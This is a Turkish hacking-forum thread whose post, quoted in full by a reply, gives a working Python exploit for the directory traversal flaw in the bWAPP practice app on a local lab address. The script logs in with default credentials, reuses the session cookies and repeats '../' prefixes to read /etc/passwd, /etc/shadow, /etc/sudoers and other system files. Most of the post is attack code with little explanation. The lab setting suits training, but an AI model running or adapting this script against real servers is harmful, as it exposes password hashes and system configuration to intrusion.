bwapp(exploit)--python--directory traversal açığı

yuathay

Katılımcı Üye
7 Mar 2023
377
180
Gitti
Selamun Aleyküm
oncelikle sitemizi acalim ve url kısmına merhaba adında var olmayan bir dosya girelim

bize this file doesnt exist diye bir hata verdi bu hatayı hangi kod blogu ile vermiş sayfanın kaynak koduna bakarak bunu bulalım


gördüğünüz gibi <div> etiketinin main adlı id değeri altında bu cıktıyı vermiş = <div id="main">this file doesnt exist!</div>
bu bilgi var olan bir dosya girdiğimizde dosyanın cıktısını almak icin bize lazım olacak

şimdi kodumuza geçelim :
burası siteye giriş kısmı burayı gecebilirsiniz onemli birşey yok



tam kodun çalışan kısmına gecmeden once şunları anlayalım


../ ile geride kalan dizindeki dosyaları okuyabiliriz

ve kodumuz :


kodun cıktıları :



etc/sudoers etc/shadow dosyaları icin couldnt open diyor erişim kısıtlaması koymuşlar bu dosyaları okumaya yetkimiz yok yani (dosya buyuk ihtimalle okunabilir ama ben okumayı bilmiyorum illaki bir yolu vardır)



kodun tamamı :
Python:
from selenium import webdriver
from selenium.webdriver.common.by import By
import requests
from bs4 import BeautifulSoup


browser = webdriver.Firefox()
browser.get("http://10.0.2.4/bWAPP")
browser.find_element(By.ID,"login").send_keys("bee")
browser.find_element(By.ID,"password").send_keys("bug")
login = browser.find_element(By.XPATH,"/html/body/div[2]/form/button").click()
browser.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page=message.txt")
response = browser.get_cookies()
session = requests.Session()
for cookie in response:
    session.cookies.set(cookie['name'],cookie['value'])
browser.quit()
#------------------------------------------------------

geri = '../'
kac_tane = 1
dosyanın_içeriği = []

dosyalar = ['etc/hostname','etc/group','etc/hosts','etc/sudoers','etc/shadow','etc/passwd']
for dosya in dosyalar:
    if "This file doesn't exist!" in session.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page="+dosya).text:
        kac_tane = 1
        while kac_tane < 10:
            kac_tane += 1
            dizin_git = geri*kac_tane
            if "This file doesn't exist!" in session.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page="+dizin_git+dosya).text:
                continue                                                                                       
            else:                                                                                                                                                                                                                         
                dosyanın_içeriği.append(session.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page="+dizin_git+dosya).text)                           
                kac_tane = 11             
    else:                                                                                                                                                                 
        dosyanın_içeriği.append(session.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page="+dosya).text)

ne_işe_yarar = {
'etc/hostname': 'ana bilgisayarın adını içerir',
'etc/group': 'Tüm grup hesaplarının listesini ve temel bilgileri içerir',
'etc/hosts': 'IP adreslerinin listesi ve bunların ana bilgisayar adı çevirilerini içerir',
'etc/sudoers': 'sudo ayarları yapılan sudo kullanıcısı eklenen dosya',
'etc/shadow': 'kullanıcı şifrelerinin hashlenmiş hallerini içerir',
'etc/passwd': 'tüm kullanıcı hesaplarının listesini ve temel bilgilerini içerir'
}

for g in range(len(dosyanın_içeriği)):
    degisken = BeautifulSoup(dosyanın_içeriği[g],'html.parser').find_all('div',{'id':'main'})
    print("\n\n***************************************************\n\n")
    try:
        print(f"{dosyalar[g]} adlı dosyada yer alan bilgiler --> {ne_işe_yarar[dosyalar[g]]}\ndosyanın içeriği :\n\n{degisken}")
        
    except:
        pass
 
Son düzenleme:

StrongsAire.exe

Black Hat Junior
15 Tem 2010
753
102
Selamun Aleyküm
oncelikle sitemizi acalim ve url kısmına merhaba adında var olmayan bir dosya girelim

bize this file doesnt exist diye bir hata verdi bu hatayı hangi kod blogu ile vermiş sayfanın kaynak koduna bakarak bunu bulalım


gördüğünüz gibi <div> etiketinin main adlı id değeri altında bu cıktıyı vermiş = <div id="main">this file doesnt exist!</div>
bu bilgi var olan bir dosya girdiğimizde dosyanın cıktısını almak icin bize lazım olacak

şimdi kodumuza geçelim :
burası siteye giriş kısmı burayı gecebilirsiniz onemli birşey yok



tam kodun çalışan kısmına gecmeden once şunları anlayalım


../ ile geride kalan dizindeki dosyaları okuyabiliriz

ve kodumuz :


kodun cıktıları :



etc/sudoers etc/shadow dosyaları icin couldnt open diyor erişim kısıtlaması koymuşlar bu dosyaları okumaya yetkimiz yok yani (dosya buyuk ihtimalle okunabilir ama ben okumayı bilmiyorum illaki bir yolu vardır)



kodun tamamı :
Python:
from selenium import webdriver
from selenium.webdriver.common.by import By
import requests
from bs4 import BeautifulSoup


browser = webdriver.Firefox()
browser.get("http://10.0.2.4/bWAPP")
browser.find_element(By.ID,"login").send_keys("bee")
browser.find_element(By.ID,"password").send_keys("bug")
login = browser.find_element(By.XPATH,"/html/body/div[2]/form/button").click()
browser.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page=message.txt")
response = browser.get_cookies()
session = requests.Session()
for cookie in response:
    session.cookies.set(cookie['name'],cookie['value'])
browser.quit()
#------------------------------------------------------

geri = '../'
kac_tane = 1
dosyanın_içeriği = []

dosyalar = ['etc/hostname','etc/group','etc/hosts','etc/sudoers','etc/shadow','etc/passwd']
for dosya in dosyalar:
    if "This file doesn't exist!" in session.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page="+dosya).text:
        kac_tane = 1
        while kac_tane < 10:
            kac_tane += 1
            dizin_git = geri*kac_tane
            if "This file doesn't exist!" in session.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page="+dizin_git+dosya).text:
                continue                                                                                      
            else:                                                                                                                                                                                                                        
                dosyanın_içeriği.append(session.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page="+dizin_git+dosya).text)                          
                kac_tane = 11            
    else:                                                                                                                                                                
        dosyanın_içeriği.append(session.get("http://10.0.2.4/bWAPP/directory_traversal_1.php?page="+dosya).text)

ne_işe_yarar = {
'etc/hostname': 'ana bilgisayarın adını içerir',
'etc/group': 'Tüm grup hesaplarının listesini ve temel bilgileri içerir',
'etc/hosts': 'IP adreslerinin listesi ve bunların ana bilgisayar adı çevirilerini içerir',
'etc/sudoers': 'sudo ayarları yapılan sudo kullanıcısı eklenen dosya',
'etc/shadow': 'kullanıcı şifrelerinin hashlenmiş hallerini içerir',
'etc/passwd': 'tüm kullanıcı hesaplarının listesini ve temel bilgilerini içerir'
}

for g in range(len(dosyanın_içeriği)):
    degisken = BeautifulSoup(dosyanın_içeriği[g],'html.parser').find_all('div',{'id':'main'})
    print("\n\n***************************************************\n\n")
    try:
        print(f"{dosyalar[g]} adlı dosyada yer alan bilgiler --> {ne_işe_yarar[dosyalar[g]]}\ndosyanın içeriği :\n\n{degisken}")
       
    except:
        pass
Elerine sağlık
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.